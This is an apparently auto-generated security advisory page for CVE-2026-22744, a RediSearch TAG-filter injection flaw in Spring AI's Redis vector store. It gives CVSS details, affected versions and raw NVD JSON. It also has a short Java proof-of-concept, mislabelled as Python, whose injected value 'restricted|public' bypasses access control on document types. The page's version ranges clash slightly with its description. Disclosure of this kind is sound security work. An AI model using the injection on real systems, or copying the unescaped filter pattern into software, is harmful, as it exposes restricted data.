Security Vulnerability Report
中文
CVE-2026-22744 CVSS 7.5 HIGH

CVE-2026-22744

Published: 2026-03-27 06:16:38
Last Modified: 2026-04-16 20:24:47

Description

In RedisFilterExpressionConverter of spring-ai-redis-store, when a user-controlled string is passed as a filter value for a TAG field, stringValue() inserts the value directly into the @field:{VALUE} RediSearch TAG block without escaping characters.This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE
Spring AI 1.0.0 - 1.0.5
Spring AI 1.1.0 - 1.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-22744: Spring AI RedisStore RediSearch Injection * This demonstrates how the application constructs a query using untrusted input. */ import org.springframework.ai.vectorstore.SearchRequest; import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder; public class VulnerableSearchExample { public void performSearch(String userProvidedTag) { // Scenario: Attacker provides input with RediSearch syntax // Input: "restricted|public" (Attempts to search for 'restricted' OR 'public') String maliciousInput = "restricted|public"; // The application constructs a filter expression FilterExpressionBuilder builder = new FilterExpressionBuilder(); var filter = builder.eq("documentType", maliciousInput); // Vulnerable library call: RedisFilterExpressionConverter.stringValue() // Resulting RediSearch Query part: @documentType:{restricted|public} // Impact: Returns documents of type 'restricted' OR 'public', bypassing intended access control. SearchRequest request = SearchRequest.query("*").withFilterExpression(filter); // vectorStore.similaritySearch(request); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22744", "sourceIdentifier": "[email protected]", "published": "2026-03-27T06:16:38.120", "lastModified": "2026-04-16T20:24:46.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In RedisFilterExpressionConverter of spring-ai-redis-store, when a user-controlled string is passed as a filter value for a TAG field, stringValue() inserts the value directly into the @field:{VALUE} RediSearch TAG block without escaping characters.This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.5", "matchCriteriaId": "28BAEC64-E23B-478B-B206-5580BB00516F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.4", "matchCriteriaId": "E3774C35-AE82-486B-8E13-8FCC34D3CA30"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22744", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}